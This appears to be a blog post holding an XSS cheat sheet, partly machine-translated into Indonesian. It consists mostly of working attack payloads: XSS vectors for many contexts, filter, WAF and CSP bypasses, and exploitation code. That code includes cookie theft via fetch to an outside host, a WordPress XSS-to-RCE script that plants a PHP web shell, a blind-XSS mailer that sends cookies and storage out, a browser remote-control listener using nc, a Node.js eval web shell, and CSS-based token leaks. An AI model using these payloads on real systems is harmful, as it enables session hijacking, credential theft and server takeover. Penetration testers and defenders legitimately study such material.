layout | title |
---|---|
post |
xss cheat sheet |
# xss-cheat-sheet
# Basics Xss
HTML Context - Simple Tag Injection
Gunakan saat input masuk ke dalam nilai atribut dari tag HTML atau tag luar kecuali
yang dijelaskan dalam kasus berikutnya. Tambahkan "->" ke payload jika input masuk dalam komentar HTML.
<svg onload=alert(1)>
"><svg onload=alert(1)>
HTML Context - In Block Tag Injection
Gunakan saat input masuk ke dalam atau di antara pembukaan / penutupan tag dalam tanda kurung berikut:
(<title><style><script><textarea><noscript><pre><xmp>dan<iframe>)(</tag> adalah demikian).
==========================================================================================
</tag><svg onload=alert(1)>
"></tag><svg onload=alert(1)>
HTML Context - Inline Injection
Gunakan saat input masuk ke dalam nilai atribut dari tag HTML tetapi tag itu tidak bisa
diakhiri dengan lebih dari tanda (>).
"onmouseover=alert(1) //
"autofocus onfocus=alert(1) //
HTML Context - Source Injection
Gunakan ketika input mendarat sebagai nilai dari atribut tag HTML berikut: href, src, data atau
aksi (juga formulasi). Atribut Src dalam tag skrip dapat berupa URL atau "data:, alert (1)".
javascript:alert(1)
Javascript Context - Code Injection
Gunakan ketika input mendarat di blok skrip, di dalam nilai string yang dibatasi.
'-alert(1)-'
'-alert(1)//
Javascript Context - Code Injection with Escape Bypass
Gunakan ketika input mendarat di blok skrip, di dalam string yang dibatasi nilai tetapi tanda kutip
lolos dengan backslash.
\\'-alert(1)//
Javascript Context - Tag Injection
Gunakan saat input mendarat di mana saja dalam blok skrip.
</script><svg onload=alert(1)>
Javascript Context - Code Injection in Logical Block
Gunakan muatan pertama atau kedua ketika input masuk dalam blok skrip, di dalam nilai yang dibatasi string dan
di dalam satu blok logis seperti fungsi atau kondisional (if, else, etc). Jika kutipan lolos
backslash, gunakan payload ketiga.
'}alert(1);{'
'}alert(1)%0A{'
\\'}alert(1);{//
Javascript Context - Quoteless Code Injection
Gunakan saat ada multi refleksi di baris kode JS yang sama. Muatan 1 bekerja di JS sederhana
variabel dan 2 bekerja di objek JS non-objects
-alert(1)//\\
-alert(1)}//\\
Javascript Context - Placeholder Injection in Template Literal
Gunakan saat input masuk ke dalam string backticks (``) yang dibatasi atau di mesin template.
${alert(1)}
Multi Reflection in HTML Context - Double Reflection (Single Input)
Gunakan untuk memanfaatkan banyak refleksi pada halaman yang sama.
onload=alert(1)><svg/1='
'>alert(1)</script><script/1='
*/alert(1)</script><script>/*
Multi Reflection in HTML Context - Triple Reflection (Single Input)
Gunakan untuk memanfaatkan banyak refleksi pada halaman yang sama.
*/alert(1)">'onload="/*<svg/1='
\`-alert(1)">'onload="\`<svg/1='
*/</script>'>alert(1)/*<script/1='
Multi Input Reflections (Double & Triple) in HTML Context
Gunakan untuk mengambil keuntungan dari beberapa input refleksi pada halaman yang sama. Juga berguna dalam HPP (HTTP
Parameter Pollution) skenario, di mana ada refleksi untuk parameter berulang. Ketiga
payload menggunakan refleksi yang dipisahkan koma dari parameter yang sama.
p=<svg/1='&q='onload=alert(1)>
p=<svg 1='&q='onload='/*&r=*/alert(1)'>
q=<script/&q=/src=data:&q=alert(1)>
File Upload Injection – Filename
Gunakan saat nama file yang diunggah reflected di suatu tempat di halaman target.
"><svg onload=alert(1)>.gif
File Upload Injection – Metadata
Gunakan ketika metadata file yang diunggah reflected di suatu tempat di halaman target. Itu menggunakan
command-line exiftool ("$" adalah terminal prompt) dan setiap bidang metadata dapat disetel.
$ exiftool -Artist='"><svg onload=alert(1)>' xss.jpeg
File Upload Injection – SVG File
Gunakan untuk membuat XSS tersimpan sesuai target saat mengunggah file gambar. Simpan konten di bawah ini sebagai
"Xss.svg".
<svg xmlns="[http://www.w3.org/2000/svg](http://www.w3.org/2000/svg "http://www.w3.org/2000/svg")" onload="alert(1)"/>
DOM Insert Injection
Gunakan untuk menguji XSS ketika injeksi dimasukkan ke DOM sebagai markup yang valid alih-alih menjadi
reflected dalam kode sumber. Ini berfungsi untuk kasus di mana tag skrip dan vektor lainnya tidak akan berfungsi.
<img src=1 onerror=alert(1)>
<iframe src=javascript:alert(1)>
<details open ontoggle=alert(1)>
<svg><svg onload=alert(1)>
DOM Insert Injection – Resource Request
Gunakan ketika kode javascript halaman memasukkan ke dalam halaman hasil permintaan ke URL
dikontrol oleh penyerang (injeksi).
data:text/html,<img src=1 onerror=alert(1)>
data:text/html,<iframe src=javascript:alert(1)>
PHP_SELF Injection
Gunakan ketika URL saat ini digunakan oleh kode PHP yang mendasari target sebagai nilai atribut dari
Bentuk HTML, misalnya. Suntikkan antara ekstensi php dan mulai bagian permintaan (?) Menggunakan a
leading slash (/).
[https://vulnerabilty-xss.com.br/xss.php/](https://vulnerabilty-xss.com.br/xss.php/ "https://vulnerabilty-xss.com.br/xss.php/")"><svg onload=alert(1)>?a=reader
Script Injection - No Closing Tag
Gunakan ketika ada tag skrip penutup (</script>) di suatu tempat dalam kode setelah reflection.
<script src=data:,alert(1)>
<script src=//attacker.com.br/1.js>
Javascript postMessage() DOM Injection (with Iframe)
Gunakan ketika ada pendengar acara "pesan" seperti di "window.addEventListener (‘ message ’, ...)"
dalam kode javascript tanpa pemeriksaan asal. Target harus dapat dibingkai (X-Frame
Pilihan tajuk sesuai konteks). Simpan sebagai file HTML (atau menggunakan data: teks / html) yang disediakan
TARGET_URL dan INJECTION (vektor XSS atau payload).
<iframe src=TARGET_URL onload="frames\[0\].postMessage('INJECTION','*')">
XML-Based XSS
Gunakan untuk menyuntikkan vektor XSS dalam halaman XML (tipe konten teks / xml atau aplikasi / xml).
Tambahkan "->" ke payload jika input masuk di bagian komentar atau "]]>" jika input masuk a
Bagian "CDATA".
<x:script xmlns:x="[http://www.w3.org/1999/xhtml](http://www.w3.org/1999/xhtml "http://www.w3.org/1999/xhtml")">alert(1)</x:script>
<x:script xmlns:x="[http://www.w3.org/1999/xhtml](http://www.w3.org/1999/xhtml "http://www.w3.org/1999/xhtml")" src="//hacker.com.br/1.js"/>
AngularJS Injections (v1.6 and up)
Gunakan ketika ada perpustakaan AngularJS dimuat di halaman, di dalam blok HTML dengan ng-app
direktif (payload pertama) atau buat milik Anda sendiri (yang kedua).
{{$new.constructor('alert(1)')()}}
<x ng-app>{{$new.constructor('alert(1)')()}}
CRLF Injection
Gunakan saat aplikasi merefleksikan input di salah satu header respons, memungkinkan injeksi
Karakter Pengembalian Carriage (% 0D) dan Line Feed (% 0A). Vektor untuk Gecko dan Webkit,
masing-masing.
%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0A%0D%0A%3Cscript%3Ealert(1)%3C/script%3E
%0D%0ALocation:%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(1)%3C/script%3E
Onscroll Universal XSS Vector
Gunakan untuk XSS tanpa interaksi pengguna saat menggunakan pengendali event onscroll. Ini bekerja dengan
alamat, blockquote, body, center, dir, div, dl, dt, form, li, menu, ol, p, pre, ul, dan h1 ke h6
Tag HTML.
<p style=overflow:auto;font-size:999px onscroll=alert(1)>AAA<x/id=y></p>#y
XSS in SSI
Gunakan saat ada injeksi Server-Side Include (SSI).
<<!--%23set var="x" value="svg onload=alert(1)"--><!--%23echo var="x"-->>
Type Juggling
Gunakan untuk melewati kondisi "if" yang cocok dengan angka dalam perbandingan longgar.
1<svg onload=alert(1)>
1"><svg onload=alert(1)>
SQLi Error-Based XSS
Gunakan di titik akhir di mana pesan kesalahan SQL dapat dipicu (dengan kutipan atau backslash).
'1<svg onload=alert(1)>
<svg onload=alert(1)>\\
Bootstrap XSS Vector
Gunakan ketika ada perpustakaan bootstrap hadir di halaman. Itu juga memotong Auditor Webkit, adil
klik di mana saja di halaman untuk memicu. Karakter apa pun dari nilai href dapat dikodekan dalam HTML, bypass
filter.
<html data-toggle=tab href="<img src=x onerror=alert(1)>">
Browser Notification
Gunakan sebagai alternatif untuk mengingatkan, meminta, dan mengonfirmasi popup. Itu membutuhkan penerimaan pengguna (1 st
payload) tetapi begitu pengguna telah mengotorisasi sebelumnya untuk situs itu, yang ke-2 dapat digunakan.
Notification.requestPermission(x=>{new(Notification)(1)})
new(Notification)(1)
# filter bypass
Mixed Case XSS
Gunakan untuk mem-bypass filter case-sensitive.
<Svg OnLoad=alert(1)>
<Script>alert(1)</Script>
Unclosed Tags
Gunakan dalam suntikan HTML untuk menghindari pemfilteran di bawah kedua (<) dan
lebih besar dari (>) tanda. Dibutuhkan asli yang lebih besar dari kode sumber masuk setelah input
refleksi.
<svg onload=alert(1)//
<svg onload="alert(1)"
Uppercase XSS
Gunakan saat aplikasi mencerminkan input dalam huruf besar. Ganti "&" dengan "% 26" dan "#" dengan
"% 23" di URL.
<SVG ONLOAD=alert(1)>
<SCRIPT SRC=//BRUTELOGIC.COM.BR/1></SCRIPT>
Extra Content for Script Tags
Gunakan saat filter mencari "<script>" atau "<script src = ..." dengan beberapa variasi tetapi tanpa
memeriksa atribut lain yang tidak diperlukan
<script/x>alert(1)</script>
Double Encoded XSS
Gunakan ketika aplikasi melakukan decoding input ganda.
%253Csvg%2520o%256Eload%253Dalert%25281%2529%253E
%2522%253E%253Csvg%2520o%256Eload%253Dalert%25281%2529%253E
Alert without Parentheses (Strings Only)
Gunakan dalam vektor HTML atau injeksi javascript ketika tanda kurung tidak diizinkan dan a
kotak peringatan sederhana sudah cukup.
alert\`1\`
Alert without Parentheses
Gunakan dalam vektor HTML atau injeksi javascript ketika tanda kurung tidak diizinkan dan PoC
perlu mengembalikan informasi target.
setTimeout\`alert\\x28document.domain\\x29\`
setInterval\`alert\\x28document.domain\\x29\`
Alert without Parentheses (Tag Exclusive)
Gunakan hanya dalam suntikan HTML ketika tanda kurung tidak diizinkan. Ganti “&” dengan “% 26”
dan "#" dengan "% 23" di URL.
<svg onload=alert(1)>
<svg onload=alert(1)>
Alert without Alphabetic Chars
Gunakan saat karakter alfabet tidak diizinkan. Berikut ini adalah peringatan (1).
\[\]\['\\146\\151\\154\\164\\145\\162'\]\['\\143\\157\\156\\163\\164\\162\\165\\143\\164\\157\\162'\]('\\141\\154\\145\\162\\164\\50\\61\\51')()
Alert Obfuscation
Gunakan untuk mengelabui beberapa filter ekspresi reguler (regex). Mungkin dikombinasikan dengan sebelumnya
alternatif (above). Opsi terpendek "atas" juga dapat diganti dengan “window”, “parent”,
“self” or “this” tergantung pada konteksnya.
(alert)(1)
a=alert,a(1)
\[1\].find(alert)
top\["al"+"ert"\](1)
top\[/al/.source+/ert/.source\](1)
al\\u0065rt(1)
top\['al\\145rt'\](1)
top\[8680439..toString(30)\](1)
top.open\`javas\\cript:al\\ert(1)\`
Alert Alternative
Gunakan sebagai alternatif untuk mengingatkan, meminta dan mengonfirmasi. Jika digunakan dengan vektor HTML, bisa jadi
digunakan sebagaimana adanya tetapi jika merupakan suntikan JS, formulir "document.write" lengkap diperlukan. Ganti "&"
dengan "% 26" dan "#" dengan "% 23" di URL.
write\`XSSed!\`
write\`<img/src/oNerror=alert(1)>\`
Strip-Tags Based Bypass
Gunakan saat menyaring menghapus apa pun di antara karakter seperti strip_tags PHP ()
fungsi. Hanya injeksi inline.
"o<x>nmouseover=alert<x>(1)//
"autof<x>ocus o<x>nfocus=alert<x>(1)//
File Upload Injection – HTML/js GIF Disguise
Gunakan untuk mem-bypass CSP melalui pengunggahan file. Simpan semua konten di bawah ini sebagai "xss.gif" atau "xss.js" (untuk ketat
Memeriksa MIME). Itu dapat diimpor ke halaman target dengan (juga
“Xss.js”) atau <script src = xss.js> </script>. Ini gambar / gif untuk PHP.
GIF89a=//<script>
alert(1)//</script>;
Jump to URL Fragment
Gunakan saat Anda perlu menyembunyikan beberapa karakter dari payload Anda yang akan memicu WAF
sebagai contoh. Itu menggunakan format payload masing-masing setelah fragmen URL (#).
eval(URL.slice(-8)) #alert(1)
eval(location.hash.slice(1)) #alert(1)
document.write(decodeURI(location.hash)) #<img/src/onerror=alert(1)>
HTML Alternative Separators
Gunakan saat ruang default tidak diizinkan. Garis miring dan kutipan (tunggal atau ganda) mungkin URL
disandikan (% 2F,% 27 dan% 22 masing-masing) juga, sementara tanda tambah (+) hanya dapat digunakan dalam URL.
Tag Scheme:
<name [1] attrib [2] = [3] value [4] handler [5] = [6] js [7]>
\[1\], \[2\], \[5\] => %09, %0A, %0C, %0D, %20, / and +
\[3\] & \[4\] => %09, %0A, %0C, %0D, %20, + and ' or " in both
\[6\] & \[7\] => %09, %0A, %0B, %0C, %0D, %20, /, + and ' or " in both
2 nd Order XSS Injection
Gunakan saat input Anda akan digunakan dua kali, seperti disimpan dinormalisasi dalam database dan kemudian
diambil untuk digunakan nanti atau dimasukkan ke DOM
<svg/onload=alert(1)>
Event Origin Bypass for postMessage() XSS
Use when a check for origin can be bypassed in javascript code of target by prepending one
of the allowed origins as a subdomain of the attacking domain that will send the payload.
Example makes use of Crosspwn script (available in Miscellaneous section) at localhost
[http://facebook.com.localhost/crosspwn.php?target=//brutelogic.com.br/tests/status.html&msg=](http://facebook.com.localhost/crosspwn.php?target=//brutelogic.com.br/tests/status.html&msg= "http://facebook.com.localhost/crosspwn.php?target=//brutelogic.com.br/tests/status.html&msg=")<script>alert(1)</script>
CSP Bypass (for Whitelisted Google Domains)
Gunakan ketika ada CSP (Kebijakan Keamanan Konten) yang memungkinkan eksekusi dari ini
domain.
<script src=[https://www.google.com/complete/search?client=chrome%26jsonp=alert](https://www.google.com/complete/search?client=chrome%26jsonp=alert "https://www.google.com/complete/search?client=chrome%26jsonp=alert")(1);></script>
<script src=[https://ajax.googleapis.com/ajax/libs/angularjs/1.6.0/angular.min.js](https://ajax.googleapis.com/ajax/libs/angularjs/1.6.0/angular.min.js "https://ajax.googleapis.com/ajax/libs/angularjs/1.6.0/angular.min.js")></script><x ng-app ng-csp>{{$new.constructor('alert(1)')()}}
Vectors without Event Handlers
Gunakan sebagai alternatif untuk penangan acara, jika mereka tidak diizinkan. Beberapa membutuhkan pengguna
interaksi sebagaimana dinyatakan dalam vektor itu sendiri (juga bagian dari mereka).
<script>alert(1)</script>
<script src=data:,alert(1)>
<iframe src=javascript:alert(1)>
<embed src=javascript:alert(1)>
<a href=javascript:alert(1)>click
<math><brute href=javascript:alert(1)>click
<form action=javascript:alert(1)><input type=submit>
<isindex action=javascript:alert(1) type=submit value=click>
<form><button formaction=javascript:alert(1)>click
<form><input formaction=javascript:alert(1) type=submit value=click>
<form><input formaction=javascript:alert(1) type=image value=click>
<form><input formaction=javascript:alert(1) type=image src=SOURCE>
<isindex formaction=javascript:alert(1) type=submit value=click>
<object data=javascript:alert(1)>
<iframe srcdoc=<svg/onload=alert(1)>>
<svg><script xlink:href=data:,alert(1) />
<math><brute xlink:href=javascript:alert(1)>click
Vectors with Agnostic Event Handlers
Gunakan vektor berikut ini ketika semua nama tag HTML yang dikenal tidak diizinkan. Huruf apa saja
char atau string dapat digunakan sebagai nama tag di tempat "x". Mereka membutuhkan interaksi pengguna seperti yang dinyatakan
oleh konten teks mereka sendiri (yang menjadi bagian dari vektor juga).
<x contenteditable onblur=alert(1)>lose focus!
<x onclick=alert(1)>click this!
<x oncopy=alert(1)>copy this!
<x oncontextmenu=alert(1)>right click this!
<x onauxclick=alert(1)>right click this!
<x oncut=alert(1)>copy this!
<x ondblclick=alert(1)>double click this!
<x ondrag=alert(1)>drag this!
<x contenteditable onfocus=alert(1)>focus this!
<x contenteditable oninput=alert(1)>input here!
<x contenteditable onkeydown=alert(1)>press any key!
<x contenteditable onkeypress=alert(1)>press any key!
<x contenteditable onkeyup=alert(1)>press any key!
<x onmousedown=alert(1)>click this!
<x onmousemove=alert(1)>hover this!
<x onmouseout=alert(1)>hover this!
<x onmouseover=alert(1)>hover this!
<x onmouseup=alert(1)>click this!
<x contenteditable onpaste=alert(1)>paste here!
Javascript Alternative Comments
Gunakan ketika komentar javascript biasa (garis miring ganda) tidak diizinkan, diloloskan atau
dihapus.
<!--%0A-->
SVG Script Vector - Arbitrary Closing TagGunakan saat filter mengharapkan "</script>" dan tidak ada penutupan asli setelah injeksi masuk
kode sumber dan / atau tanda sama dengan tidak diizinkan. Hanya tokek.
<svg><x><script>alert(1)</x>
Mixed Context Reflection Entity Bypass
Gunakan untuk mengubah refleksi yang difilter dalam blok skrip dalam kode js yang sebenarnya valid. Itu perlu direfleksikan
baik dalam konteks HTML dan javascript, dalam urutan itu, dan dekat satu sama lain. Tag svg
akan membuat blok skrip berikutnya diurai dengan cara yang bahkan jika tanda kutip tunggal menjadi
disandikan sebagai & # 39; dalam refleksi (disanitasi), itu akan berlaku untuk keluar dari nilai saat ini
dan memicu peringatan.
'-alert(1)-'<svg>
\\'-alert(1)//<svg>
Strip-My-Script Vector
Gunakan untuk mengelabui filter yang menghapus vektor XSS klasik dan paling dikenal. Ini berfungsi apa adanya dan jika
"<script>" dihapus.
<svg/on<script><script>load=alert(1)//</script>
JS Lowercased Input
Gunakan ketika aplikasi target mengubah input Anda menjadi huruf kecil melalui javascript. Mungkin berhasil
juga untuk operasi huruf kecil sisi server.
<SCRİPT>alert(1)</SCRİPT>
<SCRİPT/SRC=data:,alert(1)>
Overlong UTF-8
Gunakan saat aplikasi target melakukan pemetaan yang paling sesuai.
%CA%BA>%EF%BC%9Csvg/onload%EF%BC%9Dalert%EF%BC%881)>
Uncommon Event Handlers
Gunakan untuk memintas filter berbasis daftar hitam untuk penangan acara. Ini berfungsi pada Tokek tetapi menambahkan
attributename = x di dalam tag "" membuatnya berfungsi di Webkit juga
<svg><set onbegin=alert(1)>
<svg><set end=1 onend=alert(1)>
HTML Entities - Null Byte Tolerance
Gunakan untuk menghindari penyaringan entitas HTML. Semua di atas hanya mewakili karakter "(". Tokek.
%26%00%2340;
%26%00lpar;
%26%00l%26%00p%26%00a%26%00r%26%00;
Vectors Exclusive for ASP Pages
Gunakan untuk memintas filter [[alpha] di halaman .asp.
%u003Csvg onload=alert(1)>
%u3008svg onload=alert(2)>
%uFF1Csvg onload=alert(3)>
PHP Email Validation Bypass
Gunakan untuk memintas flag FILTER_VALIDATE_EMAIL flag dari fungsi filter_var () PHP.
"><svg/onload=alert(1)>"@x.y
DOM Insertion via Server Side Reflection
Gunakan ketika input direfleksikan ke sumber dan tidak bisa dijalankan dengan mencerminkan tetapi dengan menjadi
dimasukkan ke dalam DOM. Menghindari pemfilteran browser dan WAFs.
\\74svg o\\156load\\75alert\\501\\51\\76
XML-Based Vector for Bypass
Gunakan untuk memintas penyaringan browser dan WAFs di halaman XML. Tambahkan "->" ke payload jika input
mendarat di bagian komentar atau "]]>" jika input mendarat di bagian "CDATA".
<_:script xmlns:_="[http://www.w3.org/1999/xhtml](http://www.w3.org/1999/xhtml "http://www.w3.org/1999/xhtml")">alert(1)</_:script>
Javascript Context - Tag Injection (Webkit Bypass)
Gunakan untuk memotong Auditor Webkit dalam konteks javascript dengan keluar dari blok skrip.
</script><svg><script>alert(1)//
</script><script>'%0B'-alert(1)//
Double Reflection With Single Input (Webkit Bypass)
Gunakan untuk memintas Auditor Webkit dalam skenario refleksi ganda untuk konteks apa pun.
"\`-alert(1)</script><script>\`
Vector for PHP Arrays Dump (Webkit Bypass)
Gunakan ketika refleksi berasal dari penggunaan fungsi PHP var_dump () dan print_r (). "P" adalah
parameter rentan.
?p\[<script>\`\]=\`/alert(1)</script>
Javascript Context - Code Injection (IE11/Edge Bypass)
Gunakan untuk mem-bypass Microsoft IE11 atau Edge saat menyuntikkan ke dalam konteks javascript.
';onerror=alert;throw 1//
HTML Context - Tag Injection (IE11/Edge XSS Bypass)
Gunakan untuk mem-bypass filter asli mereka dalam skenario multi-refleksi.
"'>confirm(1)</Script><Svg><Script/1='
DOM-Based XSS - Location Sink Filter Evasion
Gunakan saat filter mencari "https: // DOMAIN" dalam string yang digunakan untuk pengalihan
properti document.location. Itu juga menyalahgunakan cara string "Javascript" dapat dibangun.
%01Jav%09asc%09ript:https://DOMAIN/%250Acon%09firm%25%281%25%29
Vectors with Less Known Agnostic Event Handlers
Penangan acara yang dapat digunakan dengan nama tag yang berubah-ubah. Namun perlu diingat bahwa menggunakan
nama tag yang ada seperti "<b" untuk onafterscriptexecute dan onbeforescriptexecute mungkin
satu-satunya cara untuk memicu dalam beberapa skenario.
<x onmouseenter=alert(1)>
<x onafterscriptexecute=alert(1)>
<x onbeforescriptexecute=alert(1)>
<x onanimationend=alert(1)><style>x{animation:s}@keyframes s{}
<x onwebkitanimationend=alert(1)><style>x{animation:s}@keyframes s{}
Nested SVG Vector (Base64)
Gunakan untuk memintas filter. Hanya tokek, URL disandikan.
<svg><use xlink:href=data:image/svg%2Bxml;base64,
PHN2ZyBpZD0ieCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnL
zIwMDAvc3ZnIiB4bWxuczp4bGluaz0iaHR0cDovL3d3dy53My
5vcmcvMTk5OS94bGluayI%2BPGVtYmVkIHhtbG5zPSJodHRwO
i8vd3d3LnczLm9yZy8xOTk5L3hodG1sIiBzcmM9ImphdmFzY3
JpcHQ6YWxlcnQoMSkiLz48L3N2Zz4=%23x>
# exploitation
Remote Script Call
Gunakan ketika Anda perlu memanggil skrip eksternal tetapi vektor XSS adalah berbasis handler (seperti
<svg onload =) atau dalam suntikan javascript. Domain "brutelogic.com.br" bersama dengan HTML
dan file js digunakan sebagai contoh. Jika ">" sedang difilter, ganti "r =>" atau "w =>" untuk
"fungsi()".
=> Berbasis HTML
(respons harus berupa HTML dengan tajuk Akses-Kontrol-Bolehkan-Asal (CORS))
1. "var x=new XMLHttpRequest();x.open('GET','//brutelogic.com.br/0.php');x.send();
x.onreadystatechange=function(){if(this.readyState==4){write(x.responseText)}}"
2. fetch('//brutelogic.com.br/0.php').then(r=>{r.text().then(w=>{write(w)})})
* (with fully loaded JQuery library)
3. $.get('//brutelogic.com.br/0.php',r=>{write(r)})
=> Javascript-based (response must be javascript)
4. with(document)body.appendChild(createElement('script')).src='//brutelogic.com.br/2.js'
* (with fully loaded JQuery library)
5. $.getScript('//brutelogic.com.br/2.js')
Wordpress XSS to RCE (v5.0.3)
Gunakan itu sebagai skrip jarak jauh untuk dijalankan ketika admin Wordpress mendapat XSSed untuk membuat shell web.
Plugin "Hello Dolly" adalah target di sini (terlepas dari aktivasi) tetapi hampir semua plugin lainnya
dapat digunakan, mengubah file dan jalur yang sesuai (termasuk "wordpress" sebagai WP root).
p = '/wp-admin/plugin-editor.php?';
q = 'file=hello.php&plugin=hello.php';
s = '<?=\`$_POST\[1\]\`;';
a = new XMLHttpRequest();
a.open('GET', p+q, 0);
a.send();
$ = 'nonce=' + /nonce" value="(\[^"\]*?)"/.exec(a.responseText)\[1\] +
'&newcontent=' + s + '&action=edit-theme-plugin-file&' + q;
b = new XMLHttpRequest();
b.open('POST', p, 1);
b.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
b.send($);
b.onreadystatechange = function(){
if (this.readyState == 4) fetch('/wp-content/plugins/hello.php');
}
=> Jalankan perintah shell web di terminal seperti berikut ("id" sebagai contoh):
$ curl DOMAIN/wp-content/plugins/hello.php -d 1=id
$ wget -qO- DOMAIN/wp-content/plugins/hello.php --post-data 1=id
Blind XSS Mailer
Gunakan sebagai skrip remote XSS blind yang menyimpan file PHP dan ubah $ menjadi dan $ header header
demikian. Diperlukan server surat yang berfungsi seperti Postfix.
<?php header("Content-type: application/javascript"); ?>
var mailer = '<?= "//" . $_SERVER\["SERVER_NAME"\] . $_SERVER\["REQUEST_URI"\] ?>';
var msg = 'USER AGENT\\n' + navigator.userAgent + '\\n\\nTARGET URL\\n' + document.URL;
msg += '\\n\\nREFERRER URL\\n' + document.referrer + '\\n\\nREADABLE COOKIES\\n' +
document.cookie;
msg += '\\n\\nSESSION STORAGE\\n' + JSON.stringify(sessionStorage) + '\\n\\nLOCAL
STORAGE\\n' + JSON.stringify(localStorage);
msg += '\\n\\nFULL DOCUMENT\\n' + document.documentElement.innerHTML;
var r = new XMLHttpRequest();
r.open('POST', mailer, true);
r.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
r.send('origin=' + document.location.origin + '&msg=' + encodeURIComponent(msg));
<?php
header("Access-Control-Allow-Origin: " . $_POST\["origin"\]);
$origin = $_POST\["origin"\];
$to = "myName@myDomain";
$subject = "XSS Blind Report for " . $origin;
$ip = "Requester: " . $_SERVER\["REMOTE_ADDR"\] . "\\nForwarded For: ".
$_SERVER\["HTTP_X_FORWARDED_FOR"\];
$msg = $subject . "\\n\\nIP ADDRESS\\n" . $ip . "\\n\\n" . $_POST\["msg"\];
$headers = "From: report@myDomain" . "\\r\\n";
if ($origin && $msg) mail($to, $subject, $msg, $headers);
?>
Invisible Foreign XSS Embedding
Gunakan untuk memuat XSS dari domain lain (atau subdomain) ke domain saat ini. Dibatasi oleh
header X-Frame-Options (XFO) target. Contoh peringatan di bawah ini dalam konteks brutelogic.com.br
terlepas dari domain.
<iframe src="//brutelogic.com.br/xss.php?a=<svg onload=alert(document.domain)>"
style=display:none></iframe>
Cookie Stealing
Gunakan untuk mendapatkan semua cookie dari pengguna korban yang ditetapkan oleh situs target. Cookie tidak dapat dilindungi oleh
http Hanya bendera keamanan. Encode "+" sebagai "% 2B" di URL.
fetch('//brutelogic.com.br/?c='+document.cookie)
Simple Virtual Defacement
Gunakan untuk mengubah bagaimana situs akan muncul ke korban menyediakan kode HTML. Dalam contoh di bawah ini a
Pesan "Tidak Ditemukan" ditampilkan.
documentElement.innerHTML='<h1>Not Found</h1>'
Browser Remote Control
Gunakan untuk menghubungkan browser dan mengirim perintah javascript ke dalamnya secara interaktif. Gunakan javascript
kode di bawah ini bukannya peringatan (1) dalam injeksi Anda dengan terminal seperti Unix yang terbuka dengan
mengikuti skrip shell (pendengar). Berikan HOST sebagai nama host, alamat IP, atau domain ke
menerima perintah dari mesin penyerang.
=> Javascript (payload):
setInterval(function(){with(document)body.
appendChild(createElement('script')).src='//HOST:5855'},100)
=> Listener (terminal command):
$ while :; do printf "j$ "; read c; echo $c | nc -lp 5855 >/dev/null; done
Node.js Web Shell
Gunakan untuk membuat shell web di aplikasi Node.js yang rentan. Setelah menjalankan payload di bawah ini
gunakan shell dengan cara berikut: http: // target: 5855 /? cmd = my_node.js_command
Contoh untuk pop calc: cmd = membutuhkan ('child_process'). Exec ('gnome-calculator').
require('http').createServer(function(req,res){res.end(1-
eval(require('url').parse(req.url,1).query.cmd))}).listen(5855)
HTMLi Token Leak
Gunakan ketika XSS tidak memungkinkan tetapi beberapa injeksi HTML mungkin terjadi. Itu akan memeras apa pun
token anti-CSRF (atau nilai rahasia lainnya) yang mungkin ada di antara berbasis sumber
refleksi dan kutipan tunggal berikutnya dalam kode asli. Berikan HOST dengan skrip untuk meraih
parameter token atau periksa log server. Terlepas dari contoh di bawah ini, <img atau <tag gambar dengan
src = 'atau srcset =' juga melakukan pekerjaan itu.
<x style='content:url(//HOST/?token=
<x style='background:url(//HOST/?token=
<x style='background-image:url(//HOST/?token=
# miscellaneous
XSS Online Test Page
Gunakan untuk berlatih vektor dan muatan XSS. Periksa kode sumber untuk titik injeksi.
[https://brutelogic.com.br/xss.php](https://brutelogic.com.br/xss.php "https://brutelogic.com.br/xss.php")
Multi-Case HTML Injection
Gunakan sebagai satu-shot untuk mendapatkan tingkat XSS sukses yang lebih tinggi. Ini berfungsi dalam semua kasus HTML
konteks (lihat bagian Dasar-dasar), termasuk JS dengan injeksi tag. Perhatikan spasi sebagai
failover untuk sanitasi / pelarian sederhana yang dilakukan oleh aplikasi.
</Script/"'--><Body /Autofocus /OnFocus = confirm\`1\` <!-->
Multi-Case HTML Injection - Base64
Gunakan sebagai satu-shot untuk mendapatkan tingkat XSS sukses lebih tinggi di bidang input Base64. Itu bekerja di semua kasus konteks HTML (lihat bagian Dasar), termasuk JS yang berisi injeksi tag
PC9TY3JpcHQvIictLT48Qm9keSAvQXV0b2ZvY3VzIC9PbkZvY3VzID0gY29uZmlybWAxYCA8IS0tPg==
JavaScript Libraries Scraper
Gunakan untuk mendapatkan semua tautan absolut dan relatif ke perpustakaan yang ditemukan dalam kode sumber
DOMAIN / HALAMAN. Ini perintah satu baris dan "$" adalah terminal prompt.
$ wget -nd -rH -A js --spider DOMAIN/PAGE 2>&1 | awk '/^--.*\\.js?/{print $3}'
PHP Sanitizing for XSS
Gunakan untuk mencegah XSS dalam setiap konteks selama input tidak mencerminkan non-delimited
string, di tengah-tengah backticks atau fungsi lain seperti eval (semua yang ada dalam konteks JS). Itu
tidak mencegah terhadap XSS berbasis DOM, hanya kasus XSS berbasis sumber.
$input = preg_replace("/:|\\\\\\/", "", htmlentities($input, ENT_QUOTES))
JavaScript Execution Delay
Gunakan saat pustaka javascript atau sumber daya lain yang diperlukan untuk injeksi tidak dimuat sepenuhnya
dalam pelaksanaan payload. Contoh panggilan eksternal berbasis JQuery.
onload=function(){$.getScript('//brutelogic.com.br/2.js')}
onload=x=>$.getScript('//brutelogic.com.br/2.js')
Valid Source for Image Tags
Gunakan saat diperlukan atribut src yang valid untuk memicu peristiwa yang dimuat alih-alih satu kesalahan.
<img src=data:image/gif;base64,R0lGODlhAQABAAD/ACwAAAAAAQABAAACADs=onload=alert(1)>
Shortest XSS
Gunakan ketika Anda memiliki slot terbatas untuk injeksi. Membutuhkan naskah asli (ada dalam sumber
kode sudah) dipanggil dengan jalur relatif ditempatkan setelah tempat injeksi. Server penyerang
harus membalas dengan skrip serang ke permintaan persis yang dilakukan oleh skrip asli (jalur yang sama) atau
dalam halaman 404 default (lebih mudah). Domain yang lebih pendek, semakin baik.
<base href=//knoxss.me>
Mobile-only Event Handlers
Gunakan saat menargetkan aplikasi seluler.
<html ontouchstart=alert(1)>
<html ontouchend=alert(1)>
<html ontouchmove=alert(1)>
<body onorientationchange=alert(1)>
Body Tag
